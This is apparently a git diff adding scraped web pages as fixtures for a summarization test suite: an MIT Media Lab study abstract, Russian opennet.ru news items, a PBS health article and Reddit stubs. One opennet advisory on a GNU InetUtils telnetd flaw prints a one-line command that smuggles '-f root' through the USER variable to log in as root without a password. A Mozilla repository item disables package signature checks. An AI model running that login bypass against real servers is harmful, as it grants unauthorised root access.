organization and forgot your password? Work for a Member organization and need a Member Portal account? Register here with your official email address. Register a Member Account News + Updates Research About Support the Media Lab MAS Graduate Program People Events Videos Member Portal For Press + Media Publication Your Brain on ChatGPT: Accumulation of Cognitive Debt when Using an AI Assistant for Essay Writing Task Research June 10, 2025 People Nataliya Kos'myna Research Scientist Projects Your Brain on ChatGPT Groups Media Lab Research Theme: Life with AI Share this publication Nataliya Kosmyna, Eugene Hauptmann, Ye Tong Yuan, Jessica Situ, Xian-Hao Liao, Ashly Vivian Beresnitzky, Iris Braunstein, and Pattie Maes. "Your brain on chatgpt: Accumulation of cognitive debt when using an ai assistant for essay writing task." arXiv preprint arXiv:2506.08872 (2025). Abstract This study explores the neural and behavioral consequences of LLM-assisted essay writing. Participants were divided into three groups: LLM, Search Engine, and Brain-only (no tools). Each completed three sessions under the same condition. In a fourth session, LLM users were reassigned to Brain-only group (LLM-to-Brain), and Brain-only users were reassigned to LLM condition (Brain-to-LLM). A total of 54 participants took part in Sessions 1-3, with 18 completing session 4. We used electroencephalography (EEG) to assess cognitive load during essay writing, and analyzed essays using NLP, as well as scoring essays with the help from human teachers and an AI judge. Across groups, NERs, n-gram patterns, and topic ontology showed within-group homogeneity. EEG revealed significant differences in brain connectivity: Brain-only participants exhibited the strongest, most distributed networks; Search Engine users showed moderate engagement; and LLM users displayed the weakest connectivity. Cognitive activity scaled down in relation to external tool use. In session 4, LLM-to-Brain participants showed reduced alpha and beta connectivity, indicating under-engagement. Brain-to-LLM users exhibited higher memory recall and activation of occipito-parietal and prefrontal areas, similar to Search Engine users. Self-reported ownership of essays was the lowest in the LLM group and the highest in the Brain-only group. LLM users also struggled to accurately quote their own work. While LLMs offer immediate convenience, our findings highlight potential cognitive costs. Over four months, LLM users consistently underperformed at neural, linguistic, and behavioral levels. These results raise concerns about the long-term educational implications of LLM reliance and underscore the need for deeper inquiry into AI's role in learning. via https://arxiv.org/abs/2506.08872 Related Content Post Research Media Lab Brain Study on ChatGPT Sparks Global Media Coverage From CNN to The New Yorker, international outlets spotlight Nataliya Kos’myna’s research on how AI tools affect cognitive function. June 24, 2025 in Fluid Interfaces · Media Lab Research Theme: Life with AI Article Research CNN: AI's Effects On The Brain Study: Using AI Could Cost You Brainpower via CNN · June 20, 2025 in Fluid Interfaces #human-computer interaction #artificial intelligence Article Research Is Using ChatGPT to Write Your Essay Bad for Your Brain? New MIT Study Explained Does ChatGPT harm critical thinking abilities? A new study from researchers at MIT’s Media Lab has returned some concerning results. via Time · June 25, 2025 in Fluid Interfaces #human-computer interaction #artificial intelligence Article Research Brain Experts WARNING: Watch This Before Using ChatGPT Again! The evolutionary reason why ChatGPT is dangerous for your brain. via YouTube · Aug. 18, 2025 in Fluid Interfaces #human-computer interaction #artificial intelligence News + Updates Research About Support the Media Lab MAS Graduate Program People Events Videos Member Portal For Press + Media More ways to explore Videos Publications Job Opportunities Contact Massachusetts Institute of Technology School of Architecture + Planning Accessibility Donate to the Lab +============== diff --git a/tests/summarization/https___www.opennet.ru_opennews_art.shtml_num_64642.txt b/tests/summarization/https___www.opennet.ru_opennews_art.shtml_num_64642.txt new file mode 100644 index 0000000..55fde84 --- /dev/null +++ b/tests/summarization/https___www.opennet.ru_opennews_art.shtml_num_64642.txt @@ -0,0 +1,2 @@ +20 лет назад, когда был выпущен gcc4, компилятор g77 был заменён на gfortran. Однако из-за некоторых возникших с ним проблем он был исключён из базового образа NetBSD. Благодаря недавно внесённым изменениям в NetBSD-current, gfortran теперь снова поставляется в базовом образе операционной системы. В скором будущем планируют добавить соответствующие переменные в pkgsrc для компиляции программ с использованием этого системного компилятора, без необходимости установки пакета gcc12 из репозитория pkgsrc. +============== diff --git a/tests/summarization/https___www.opennet.ru_opennews_art.shtml_num_64644.txt b/tests/summarization/https___www.opennet.ru_opennews_art.shtml_num_64644.txt new file mode 100644 index 0000000..294a7b0 --- /dev/null +++ b/tests/summarization/https___www.opennet.ru_opennews_art.shtml_num_64644.txt @@ -0,0 +1,2 @@ +Для композитного менеджера KWin предложен экспериментальный плагин, превращающий KDE в среду рабочего стола для систем виртуальной реальности. Плагин позволяет формировать интерфейс не на физическом мониторе, а в форме виртуальных экранов в 3D-пространстве, работа с которым осуществляется через очки дополненной реальности или 3D-шлемы. Поддерживается работа с плавающими окнами, совмещение физических и виртуальных экранов, произвольное позиционирование экранов в 3D-пространстве, управление при помощи клавиатуры без необходимости использования мыши или VR-контроллеров, режим отслеживания положения пользователя. Для отрисовки задействован модуль Qt Quick 3D Xr, завязанный на runtime OpenXR. В качестве runtime опробована платформа Monado в сочетании с очками дополненной реальности Rokid Max и HP G2, а также сервер WiVRn c 3D-шлемом Quest 3. Для организации ввода реализовано устройство KwinVrInputDevice, позволяющее перемещать указатель по аналогии с мышью, но не ограничиваясь границами области вывода. Для размещения окон в 3D-пространстве задействованы штатные возможности KWin, немного изменённые для всплывающих окон и расширенные возможностью перемещать окна за пределы области вывода. Для работы требуется применение патчей к Qt и XWayland. Большинство патчей уже приняты в кодовую базу Qt и войдут в состав выпусков 6.10.2 и 6.11, не перенесёнными остаются только 4 патча. +============== diff --git a/tests/summarization/https___www.opennet.ru_opennews_art.shtml_num_64649.txt b/tests/summarization/https___www.opennet.ru_opennews_art.shtml_num_64649.txt new file mode 100644 index 0000000..2c7858d --- /dev/null +++ b/tests/summarization/https___www.opennet.ru_opennews_art.shtml_num_64649.txt @@ -0,0 +1,4 @@ +В сервере telnetd из набора GNU InetUtils выявлена уязвимость, позволяющая подключиться под любым пользователем, включая пользователя root, без проверки пароля. CVE-идентификатор пока не присвоен. Уязвимость проявляется начиная с версии InetUtils 1.9.3 (2015 год) и остаётся неисправленной в актуальном выпуске 2.7.0. Исправление доступно в форме патчей (1, 2). Проблема вызвана тем, что для проверки пароля процесс telnetd вызывает утилиту "/usr/bin/login", передавая в качестве аргумента имя пользователя, указанного клиентом при подключении к серверу. Утилита "login" поддерживает опцию "-f", позволяющую осуществить вход без выполнения аутентификации (подразумевается, что эта опция используется, когда пользователь уже прошёл проверку). Таким образом, если добиться подстановки опции "-f" в имени пользователя, можно подключиться без проверки пароля. При обычном подключении использовать имя пользователя вида "-f root" не получится, но в telnet имеется режим автоматического подключения, активируемый опцией "-a". В данном режиме имя пользователя берётся не из командной строки, а передаётся через переменную окружения USER (клиент передаёт переменные окружения на сервер при помощи опции ENVIRON). При вызове утилиты login значение данной переменной окружения подставлялось без дополнительной проверки и без экранирования спецсимволов. Таким образом, для подключения под пользователем root достаточно выставить в переменную окружения USER значение "-f root" и подключиться к telnet-серверу, указав опцию "-a": + $ USER='-f root' telnet -a имя_сервера + Приведшее к уязвимости изменение было добавлено в код telnetd в марте 2015 года и было связано с устранением проблемы, не позволявшей определить имя пользователя в режиме autologin без аутентификации в Kerberos. В качестве решения была добавлена поддержка передачи имени пользователя для режима autologin через переменную окружения, но проверку корректности имени пользователя из переменной окружения добавить забыли. В 2007 году похожая проблема c передачей аргумента "-f" при вызове login была выявлена в telnet из состава Solaris, а в 1994 году в rlogin из AIX. +============== diff --git a/tests/summarization/https___www.opennet.ru_opennews_art.shtml_num_64650.txt b/tests/summarization/https___www.opennet.ru_opennews_art.shtml_num_64650.txt new file mode 100644 index 0000000..090aad9 --- /dev/null +++ b/tests/summarization/https___www.opennet.ru_opennews_art.shtml_num_64650.txt @@ -0,0 +1,2 @@ +Опубликован релиз web-браузера Pale Moon 34.0.0, ответвившегося от кодовой базы Firefox для обеспечения более высокой эффективности работы, сохранения классического интерфейса, минимизации потребления памяти и предоставления дополнительных возможностей по настройке. Сборки Pale Moon формируются для Windows и Linux (x86_64). Код проекта распространяется под лицензией MPLv2 (Mozilla Public License). Проект придерживается классической организации интерфейса, без перехода к интегрированным в Firefox 29 и 57 интерфейсам Australis и Photon, и с предоставлением широких возможностей кастомизации. Из удалённых компонентов можно отметить DRM, Social API, WebRTC, PDF-просмотрщик, Сrash Reporter, код для сбора статистики, средства для родительского контроля и людей с ограниченными возможностями. По сравнению с Firefox, в браузер возвращена поддержка расширений, использующих XUL, и сохранена возможность применения как полноценных, так и легковесных тем оформления. Основные изменения: Обновлена тема оформления, применяемая по умолчанию в Windows. Обеспечена интеграция оформления с Windows 11 и улучшена поддержка тёмных акцентных цветов. Реализован объект WeakRef для определения слабых ссылок (weak reference) на объекты JavaScript, позволяющие сохранить ссылку на объект, но не блокирующие удаление связанного объекта сборщиком мусора. Добавлен метод URL.canParse(), упрощающий разбор и проверку корректности URL. Добавлены CSS-свойства inset-block и inset-inline. Добавлена настройка "privacy.forgetaboutsite.clearPasswords" для очистки паролей при вызове функции очистки информации о сайте в менеджере полномочий. Генератор псевдослучайных чисел в JavaScript переведён на алгоритм Xoroshiro128+. Возвращена поддержка каскадных слоёв CSS (@layer) и CSS-функции color-mix. Решена проблема с сайтами, использующими CSS-свойство "overflow-x: clip" без выставления "overflow-y". Добавлена поддержка CSS-свойства "appearance". Обновлены версии NSS 3.90.9, ICU 78.1, Unicode 17 и expat 2.7.3. Добавлена поддержка сборки на оборудовании LoongArch64, Sparc64 и Mac PowerPC. Добавлена поддержка запуска во FreeBSD 15. Возвращена возможность выполнения NPAPI-плагинов внутри основного процесса. Повышена стабильность JavaScript-движка IonMonkey на ARM и Mac SoC. Linux-сборки с GTK теперь всегда собираются с gio, поддержка gconf удалена. +============== diff --git a/tests/summarization/https___www.opennet.ru_opennews_art.shtml_num_64651.txt b/tests/summarization/https___www.opennet.ru_opennews_art.shtml_num_64651.txt new file mode 100644 index 0000000..c252852 --- /dev/null +++ b/tests/summarization/https___www.opennet.ru_opennews_art.shtml_num_64651.txt @@ -0,0 +1,2 @@ +Компания Oracle опубликовала плановый выпуск обновлений своих продуктов (Critical Patch Update), нацеленный на устранение критических проблем и уязвимостей. В январском обновлении устранено 337 уязвимостей. Некоторые проблемы: 11 проблем с безопасностью в Java SE. Все уязвимости в Java SE могут быть эксплуатированы удалённо без проведения аутентификации и затрагивают окружения, допускающие выполнение не заслуживающего доверия кода. Наиболее опасные проблемы в Java SE имеют уровень опасности 7.5 и затрагивают JavaFX (WebKitGTK, libxslt), AWT и систему защиты. Уязвимости устранены в выпусках Java SE 25.0.2, 21.0.10, 17.0.18, 11.0.30, 8u481. 14 уязвимостей в сервере MySQL, из которых две могут быть эксплуатированы удалённо. Наиболее серьёзная проблема имеет критический уровень опасности (9.8), присутствует в официальном Docker-образе c MySQL и связана с уязвимостью в библиотеке SQLite (CVE-2025-6965), которая используется во вспомогательных инструментах для настройки и работы с MySQL. Вторая удалённо эксплуатируемая уязвимость имеет уровень опасности 7.5 и вызвана переполнением буфера (CVE-2025-9230) в библиотеке OpenSSL. Менее опасные уязвимости затрагивают OpenSSL, InnoDB, оптимизатор, DDL, парсер, Pluggable Auth и Thread Pooling. Проблемы устранены в выпусках MySQL Community Server 9.6.0 и 8.0.45. 14 уязвимостей в VirtualBox, пять из которых помечены как опасные (8.2 из 10). Одна из уязвимостей может быть эксплуатирована удалённо. Детали о характере уязвимостей не раскрываются. Проблемы будут устранены в выпуске VirtualBox 7.2.6, который ожидается в течение дня. 4 уязвимости в Solaris, которые затрагивают драйверы, ядро и файловую систему (максимальный уровень опасности 5.8 из 10). Уязвимости устранены в обновлении Solaris 11.4 SRU89. В новой версии Solaris также обновлены версии пакетов Wireshark 4.6.2, Firefox 140.6.0esr, Thunderbird 140.6.0esr, Unbound 1.24.2, Apache httpd 2.4.66, OpenSSH 10.2, Django 5.2.9 и squid 7.3. +============== diff --git a/tests/summarization/https___www.opennet.ru_opennews_art.shtml_num_64652.txt b/tests/summarization/https___www.opennet.ru_opennews_art.shtml_num_64652.txt new file mode 100644 index 0000000..b9345f0 --- /dev/null +++ b/tests/summarization/https___www.opennet.ru_opennews_art.shtml_num_64652.txt @@ -0,0 +1,2 @@ +Компания Oracle сформировала новую ветку СУБД MySQL 9.6.0. Сборки MySQL Community Server 9.6.0 подготовлены для всех основных дистрибутивов Linux, FreeBSD, macOS и Windows. В соответствии с внедрённой в 2023 году моделью формирования релизов, MySQL 9.6 отнесён к веткам "Innovation". Innovation-ветки рекомендованы для тех, кто хочет раньше получать доступ к новой функциональности, публикуются каждые 3 месяца и поддерживаются только до публикации следующего значительного релиза (например, после появления ветки 9.6 прекращена поддержка ветки 9.5). В дальнейшем планируют сформировать LTS-релиз 9.7, рекомендованный для внедрений, которым необходима предсказуемость и длительное сохранение неизменного поведения. Следом за LTS-выпуском будет сформирована новая Innovation-ветка - MySQL 10.0. Список значимых изменений в MySQL 9.6 полностью повторяет отчёт об изменениях в MySQL 9.5. В нём также упоминается отмеченное ранее изменение поведения параметра "innodb_log_writer_threads", изменение значения по умолчанию парамтера "binlog_transaction_dependency_history_size", объявление устаревшим метода аутентификации SCRAM-SHA-1 и прекращение поддержки переменных "group_replication_allow_local_lower_version_join" и "replica_parallel_type". Общий список исправлений отличается и содержит следующие заметные изменения: Переработана система аудита, в которой реализована модульная подсистема Audit Log, позволяющая отдельно устанавливать и управлять различными компонентами для ведения лога аудита, а также упрощающая настройку формата логов, размещения файлов аудита и параметров буферизации. Для изменения системной переменной audit_log_rotate_on_size system теперь требуются привилегии AUDIT_ADMIN. Задействована новая структура данных и новая встроенная библиотека функций для работы с наборами глобальных идентификаторов транзакций (GTID, Global Transaction ID), используемых при репликации. Новая реализация отличается более высокой производительностью и упрощением кода. В хранилище InnoDB повышена эффективность генерации уникальных идентификаторов rowid в таблицах без первичных ключей. Решена проблема с некорректным восстановлением состояния транзакций, которые на момент аварийного завершения имели статус "PREPARED". Добавлена новая опция "--container_aware", во время запуска включающая определение выставленных в контейнере ограничений на CPU и память. Расширены возможности по отладке репликации. SQL-функции MD5() и SHA1() выделены в отдельный компонент "classic_hashing", который можно отключить при необходимости блокировать использование небезопасных алгоритмов хэширования. Устранено 14 уязвимостей, из которых две могут быть эксплуатированы удалённо. Наиболее серьёзная проблема имеет критический уровень опасности (9.8), присутствует в официальном Docker-образе c MySQL и связана с уязвимостью в библиотеке SQLite (CVE-2025-6965), которая используется во вспомогательных инструментах для настройки и работы с MySQL. Вторая удалённо эксплуатируемая уязвимость имеет уровень опасности 7.5 и вызвана переполнением буфера (CVE-2025-9230) в библиотеке OpenSSL. Менее опасные уязвимости затрагивают OpenSSL, InnoDB, оптимизатор, DDL, парсер, Pluggable Auth и Thread Pooling. Детали пока не сообщаются. +============== diff --git a/tests/summarization/https___www.opennet.ru_opennews_art.shtml_num_64653.txt b/tests/summarization/https___www.opennet.ru_opennews_art.shtml_num_64653.txt new file mode 100644 index 0000000..b772722 --- /dev/null +++ b/tests/summarization/https___www.opennet.ru_opennews_art.shtml_num_64653.txt @@ -0,0 +1,2 @@ +Компания System76, разрабатывающая Linux-дистрибутив Pop!_OS, опубликовала выпуск среды рабочего стола COSMIC 1.0.3, а также объявила о доступности сформированного на прошлой неделе обновления 1.0.2. Пакеты с COSMIC 1.0.3 доступны в дистрибутиве Pop!_OS 24.04 и в ближайшее время ожидаются в Fedora, NixOS, Arch Linux, openSUSE, Serpent OS, Redox и CachyOS. COSMIC развивается как универсальный проект, не привязанный к конкретному дистрибутиву и соответствующий спецификациям Freedesktop. Для построения интерфейса в COSMIC задействована библиотека Iced, которая использует безопасные типы, модульную архитектуру и модель реактивного программирования, а также предлагает архитектуру, привычную для разработчиков, знакомых с языком декларативного построения интерфейсов Elm. Предоставляется несколько движков отрисовки, поддерживающих Vulkan, Metal, DX12, OpenGL 2.1+ и OpenGL ES 2.0+. Разработчикам предлагается готовый набор виджетов, возможность создавать асинхронные обработчики и использовать адаптивную компоновку элементов интерфейса в зависимости от размера окна и экрана. Помимо использования языка Rust из особенностей COSMIC выделяются режимы гибридной мозаичной компоновки окон и стекового закрепления окон (группировка окон по аналогии со вкладками в браузере), которые могут включаться в привязке к виртуальным рабочим столам. Проектом также разрабатывается композитный сервер cosmic-comp на базе Wayland. Основные изменения в выпусках 1.0.1, 1.0.2 и 1.0.3: Реализована поддержка скругления углов для всех окон, а не только для приложений COSMIC. Добавлена возможность отображения теней для окон, среди прочего и при мозаичной компоновке. Для выбора вида углов и теней окон в настройки внешнего вида добавлена секция "Settings > Desktop > Appearance > Window shadow and corners". В композитном сервере реализована активация окон X11-клиентами, работающими через XWayland, что позволяет индикаторам в системном лотке переключать фокус на окна в других виртуальных рабочих столах. Размер пиктограмм для X11-приложений адаптирован для выставленного уровня масштабирования. В файловом менеджере добавлена функция открытия нескольких каталогов в отдельных вкладках. Добавлена опция для переноса времени создания и изменения файла при копировании. Реализована возможность ввода сетевых путей в панели. Добавлено автодополнение ввода пути в панели нажатием клавиши Tab или Shift-Tab. Добавлен диалог подтверждения операции очистки корзины. В мультимедийном проигрывателе cosmic-player обеспечено отключение звука при показе миниатюр с изображением кадра, соответствующего выбранной позиции на полосе прокрутки. В конфигураторе реализована функция быстрой активации поиска - начало набора на клавиатуре приводит к появлению строки поиска в любом разделе конфигуратора. Добавлена возможность применения тем оформления в формате RON (Rusty Object Notation) через интерфейс командной строки. На страницу настройки комбинаций клавиш добавлен подраздел с параметрами для людей с ограниченными возможностями. Добавлен комбинация Super+Alt+S для активации экранного ридера. Включена по умолчанию симуляция клика касанием к тачпаду. Добавлена поддержка VPN-соединений, требующих двухфакторной аутентификации. В эмуляторе терминала реализована загрузка паролей в память только при открытии страницы работы с паролями и удаление паролей из памяти при её закрытии. Добавлена поддержка выделения содержимого кликом с удержанием клавиши Shift. В интерфейсе начальной настройки (COSMIC Initial Setup) добавлена поддержка систем с несколькими мониторами и активирован по умолчанию экранный ридер. В менеджере приложений (COSMIC Store) появилась опция для очистки данных Flatpak-приложений после их удаления. В интерфейсе переключения виртуальных рабочих столов реализована зацикленная прокрутка при использовании колеса мыши, аналогичная поведению апплета переключения рабочих столов на панели. Улучшена скорость прокрутки эскизов рабочих столов при помощи тачпада. В текстовом редакторе добавлена поддержка выделения текста комбинацией Shift+клик. В программе для создания скриншотов обеспечено запоминание выделенной области экрана. +============== diff --git a/tests/summarization/https___www.opennet.ru_opennews_art.shtml_num_64657.txt b/tests/summarization/https___www.opennet.ru_opennews_art.shtml_num_64657.txt new file mode 100644 index 0000000..2edc556 --- /dev/null +++ b/tests/summarization/https___www.opennet.ru_opennews_art.shtml_num_64657.txt @@ -0,0 +1,2 @@ +Опубликованы корректирующие обновления платформы для организации совместной разработки GitLab - 18.8.2, 18.7.2, 18.6.4, в которых устранена уязвимость (CVE-2026-0723), позволяющая обойти проверку при двухфакторной аутентификации. Для совершения атаки злоумышленник должен знать идентификатор учётных данных жертвы. Уязвимость вызвана отсутствием должной проверки возвращаемого значения в сервисах аутентификации. Кроме того, в новых версиях устранены ещё 4 уязвимости, две из которых помечены опасными. Данные проблемы приводят к отказу в обслуживании при отправке специально оформленных запросов к компоненту для интеграции с Jira Connect (CVE-2025-13927), API управления релизами (CVE-2025-13928) и SSH (CVE-2026-1102), а также к зацикливанию при созданию специально оформленного Wiki-документа (CVE-2025-13335). Всем пользователям рекомендуется срочно установить обновление. Детали проблемы пока не раскрываются и станут доступны публично спустя 30 дней после публикации исправления. Сведения об уязвимостях переданы в GitLab в рамках действующей на HackerOne программы выплаты вознаграждений за обнаружение уязвимостей. +============== diff --git a/tests/summarization/https___www.opennet.ru_opennews_art.shtml_num_64658.txt b/tests/summarization/https___www.opennet.ru_opennews_art.shtml_num_64658.txt new file mode 100644 index 0000000..e228c4e --- /dev/null +++ b/tests/summarization/https___www.opennet.ru_opennews_art.shtml_num_64658.txt @@ -0,0 +1,27 @@ +Разработчики из компании Mozilla объявили о создании официального репозитория с rpm-пакетами, позволяющими установить ночные сборки Firefox в openSUSE, SUSE, Fedora, RHEL, CentOS и различных RHEL-подобных дистрибутивах. Подобный репозиторий с deb-пакетами для Debian и Ubuntu предоставляется с 2023 года. Использование rpm-репозитория позволяет задействовать штатные для дистрибутивов возможности для установки и обновления пакетов. При сборке пакетов в компиляторе включены дополнительные оптимизации, а также флаги для усиления безопасности. Публикация сборок интегрирована в основной процесс подготовки релизов Firefox. В состав включён .desktop-файл для размещения ярлыка на рабочем столе и в меню дистрибутива. Для установки ночных сборок Firefox из репозитория можно использовать команды: +Fedora: + + sudo dnf config-manager addrepo --id=mozilla --set=baseurl=https://packages.mozilla.org/rpm/firefox --set=gpgcheck=0 --set=repo_gpgcheck=0 + sudo dnf makecache --refresh + sudo dnf install firefox-nightly + +openSUSE, SUSE Linux: + + sudo zypper ar -G https://packages.mozilla.org/rpm/firefox mozilla + sudo zypper refresh + sudo zypper install firefox-nightly + +RHEL, CentOS, Rocky Linux, Alma Linux, Oracle Linux + + sudo tee /etc/yum.repos.d/mozilla.repo > /dev/null < EOF + [mozilla] + name=Mozilla Packages + baseurl=https://packages.mozilla.org/rpm/firefox + enabled=1 + repo_gpgcheck=0 + gpgcheck=0 + EOF + + sudo dnf makecache --refresh + sudo dnf install firefox-nightly +============== diff --git a/tests/summarization/https___www.pbs.org_newshour_health_brazilian-city-uses-tilapia-fish-skin-treat-burn-victims.txt b/tests/summarization/https___www.pbs.org_newshour_health_brazilian-city-uses-tilapia-fish-skin-treat-burn-victims.txt new file mode 100644 index 0000000..7a791b7 --- /dev/null +++ b/tests/summarization/https___www.pbs.org_newshour_health_brazilian-city-uses-tilapia-fish-skin-treat-burn-victims.txt @@ -0,0 +1,2 @@ +PBS Donate Change your local station Explore More from My Station MORE FROM Live TV PBS Shows My Station My List Donate Choose station PBS IS BROUGHT TO YOU BY helps your community explore new worlds and ideas through programs that educate, inform and inspire. Your tax-deductible donation helps make it all possible. Donate Visit Official Site Change your local station Explore More from My Station MORE FROM or search all of PBS Live TV PBS Shows My Station My List Donate Full Episode Wednesday, Jan 21 Close Menu PBS NewsHour Episodes Podcasts Newsletters The Latest Politics Brooks and Capehart Politics Monday Supreme Court Arts CANVAS Poetry Now Read This Nation Supreme Court Race Matters Essays Brief But Spectacular World Agents for Change Compass Points Economy Making Sen$e Paul Solman Science The Leading Edge ScienceScope Basic Research Innovation and Invention Health Horizons Long-Term Care Education Teachers' Lounge Student Reporting Labs For Teachers Newshour Classroom About Feedback Funders Support Jobs Close Menu Support PBS News Your generous monthly contribution— or whatever you can give—will help secure our future. Donate now Close Popup What do you think? Leave a respectful comment. Close Comment Window PBS News Menu Notifications Get news alerts from PBS News Turn on desktop notifications? Yes Not now Full Episodes Podcasts Newsletters Live By — Nadia Sussman, STAT Nadia Sussman, STAT Leave a comment 0comments Share Copy URL https://www.pbs.org/newshour/health/brazilian-city-uses-tilapia-fish-skin-treat-burn-victims Email Facebook Twitter LinkedIn Pinterest Tumblr Share on Facebook Share on Twitter Why this Brazilian city uses tilapia fish skin to treat burn victims Health Mar 3, 2017 1:09 PM EST FORTAZELA, Brazil — In this historic city by the sea in northeast Brazil, burn patients look as if they've emerged from the waves. They are covered in fish skin — specifically strips of sterilized tilapia. Doctors here are testing the skin of the popular fish as a bandage for second- and third-degree burns. The innovation arose from an unmet need. Animal skin has long been used in the treatment of burns in developed countries. But Brazil lacks the human skin, pig skin, and artificial alternatives that are widely available in the US. The three functional skin banks in Brazil can meet only 1 percent of the national demand, said Dr. Edmar Maciel, a plastic surgeon and burn specialist leading the clinical trials with tilapia skin. As a result, public health patients in Brazil are normally bandaged with gauze and silver sulfadiazine cream. "It's a burn cream because there's silver in it, so it prevents the burns from being infected," said Dr. Jeanne Lee, interim burn director at the the regional burn center at the University of California at San Diego. "But it doesn't help in terms of debriding a burn or necessarily helping it heal." READ MORE: First Look: Plumbing the mysteries of sweat to help burn patients cool their skin The gauze-and-cream dressing must be changed every day, a painful process. In the burn unit at Fortaleza's José Frota Institute, patients contort as their wounds are unwrapped and washed. Enter the humble tilapia, a fish that's widely farmed in Brazil and whose skin, until now, was considered trash. Unlike the gauze bandages, the sterilized tilapia skin goes on and stays on. The first step in the research process was to analyze the fish skin. "We got a great surprise when we saw that the amount of collagen proteins, types 1 and 3, which are very important for scarring, exist in large quantities in tilapia skin, even more than in human skin and other skins," Maciel said. "Another factor we discovered is that the amount of tension, of resistance in tilapia skin is much greater than in human skin. Also the amount of moisture." In patients with superficial second-degree burns, the doctors apply the fish skin and leave it until the patient scars naturally. For deep second-degree burns, the tilapia bandages must be changed a few times over several weeks of treatment, but still far less often than the gauze with cream. The tilapia treatment also cuts down healing time by up to several days and reduces the use of pain medication, Maciel said. Antônio dos Santos, a fisherman, was offered the tilapia treatment as part of a clinical trial after he sustained burns to his entire right arm when a gas canister on his boat exploded. He accepted. "After they put on the tilapia skin, it really relieved the pain," he said. "I thought it was really interesting that something like this could work." READ MORE: High-tech bandage wins $100K from Boston Marathon bombing survivor's family The initial batches of tilapia skin were studied and prepared by a team of researchers at the Federal University of Ceará. Lab technicians used various sterilizing agents, then sent the skins for radiation in São Paulo to kill viruses, before packaging and refrigerating the skins. Once cleaned and treated, they can last for up to two years. In the US, animal-based skin substitutes require levels of scrutiny from the Food and Drug Administration and animal rights groups that can drive up costs, Lee said. Given the substantial supply of donated human skin, tilapia skin is unlikely to arrive at American hospitals anytime soon. But it may be a boon in developing countries. "I'm willing to use anything that might actually help a patient," Lee said. "It may be a good option depending on what country you're talking about. But I also think the problem is that you need to find places that have the resources to actually process the skin and sterilize it, and make sure it doesn't have diseases." In Brazil, in addition to the clinical trials, researchers are currently conducting histological studies that compare the composition of human, tilapia, pig, and frog skins. They are also conducting studies on the comparative costs of tilapia skin and conventional burn treatments. If clinical trials show continued success, doctors hope a company will process the skins on an industrial scale and sell it to the public health system. This article is reproduced with permission from STAT. It was first published on Mar. 2, 2017. Find the original story here. A free press is a cornerstone of a healthy democracy. Support trusted journalism and civil dialogue. Donate now Left: Video by Nadia Sussman for STAT Go Deeper brazil editors' picks stat news tilapia By — Nadia Sussman, STAT Nadia Sussman, STAT Support Provided By: Learn more Educate your inbox Subscribe to Here’s the Deal, our politics newsletter for analysis you won’t find anywhere else. Enter your email address Subscribe Thank you. Please check your inbox to confirm. Full Episode Wednesday, Jan 21 Trending Now Read Jan 21 WATCH LIVE: Jack Smith testifies about Trump criminal investigations Read Jan 21 3 things to know ahead of Jack Smith's testimony Watch Jan 21 Trump backpedals on threats against Greenland, but allies say damage has been done Read Jan 21 WATCH: Trump speaks at World Economic Forum annual meeting in Davos Read Jan 21 Trump cancels tariff threat over Greenland, says NATO agreed to 'framework' of future Arctic deal The Latest Politics Jan 22 WATCH LIVE: House aims to vote on final spending bills for the year By Kevin Freking, Lisa Mascaro, Associated Press Arts Jan 22 'Sinners' makes Oscars history with 16 nominations By Jake Coyle, Associated Press Politics Jan 21 Judge strikes down district boundaries of New York City's only Republican House seat By Anthony Izaguirre, Associated Press Politics Jan 21 3 things to know ahead of Jack Smith's testimony By Lisa Desjardins, Kyle Midura World Jan 21 Israeli fire strikes journalists and children on one of Gaza's deadliest days since ceasefire By Samy Magdy, Associated Press Politics Jan 21 Lawmakers can sue to ensure Epstein files release, but not as part of Maxwell case, judge says By Michael R. Sisak, Larry Neumeister, Associated Press Politics Jan 21 Fact-checking Trump's Greenland-focused Davos speech By Louis Jacobson, Maria Ramirez Uribe, Amy Sherman, PolitiFact Politics Jan 21 WATCH LIVE: Jack Smith testifies about Trump criminal investigations By Joshua Barajas PBS News © 1996 - 2026 NewsHour Productions LLC. All Rights Reserved. PBS is a 501(c)(3) not-for-profit organization. Sections The Latest Politics Arts Nation World Economy Science Health Education About About Us TV Schedule Press Feedback Funders Support Newsletters Podcasts Jobs Privacy Terms of Use Stay Connected Facebook YouTube Instagram X TikTok Threads RSS Subscribe to Here's the Deal with Lisa Desjardins Enter your email address Subscribe Thank you. Please check your inbox to confirm. Support our journalism Support for News Hour Provided By +============== diff --git a/tests/summarization/https___www.projectlumen.app_.txt b/tests/summarization/https___www.projectlumen.app_.txt new file mode 100644 index 0000000..6210e63 --- /dev/null +++ b/tests/summarization/https___www.projectlumen.app_.txt @@ -0,0 +1,2 @@ +Project Lumen The Manual for the Universe Choose a phenomenon to explore. Sound The Invisible Dance Light The Hidden Colors Motion The Perfect Fall Life The Tiny City Mechanics The Trade-off Volume 01: Physical Foundations +============== diff --git a/tests/summarization/https___www.reddit.com_r_LLM_comments_1qjd8b0_i_liked_this_paper_251004226_epistemic_diversity_.txt b/tests/summarization/https___www.reddit.com_r_LLM_comments_1qjd8b0_i_liked_this_paper_251004226_epistemic_diversity_.txt new file mode 100644 index 0000000..36d099f --- /dev/null +++ b/tests/summarization/https___www.reddit.com_r_LLM_comments_1qjd8b0_i_liked_this_paper_251004226_epistemic_diversity_.txt @@ -0,0 +1,2 @@ +Skip to main content Open menu Open navigation Go to Reddit Home r/LLM Get App Get the Reddit app Log In Log in to Reddit Expand user menu Open settings menu Go to LLM r/LLM • DryEase865 I liked this paper- [2510.04226] Epistemic Diversity and Knowledge Collapse in Large Language Models arxiv.org Open Large language models (LLMs) tend to generate lexically, semantically, and stylistically homogenous texts. This poses a risk of knowledge collapse, where homogenous LLMs mediate a shrinking in the range of accessible information over time Read more Share New to Reddit? Create your account and connect with a world of communities. Continue with Email By continuing, you agree to our User Agreement and acknowledge that you understand the Privacy Policy. Public Anyone can view, post, and comment to this community 0 0 Reddit Rules Privacy Policy User Agreement Accessibility Reddit, Inc. © 2026. All rights reserved. Expand Navigation Collapse Navigation +============== diff --git a/tests/summarization/https___www.reddit.com_r_LLM_comments_1qjmi9f_using_ai_for_product_mockups_.txt b/tests/summarization/https___www.reddit.com_r_LLM_comments_1qjmi9f_using_ai_for_product_mockups_.txt new file mode 100644 index 0000000..a5c4be8 --- /dev/null +++ b/tests/summarization/https___www.reddit.com_r_LLM_comments_1qjmi9f_using_ai_for_product_mockups_.txt @@ -0,0 +1,2 @@ +Skip to main content Open menu Open navigation Go to Reddit Home r/LLM Get App Get the Reddit app Log In Log in to 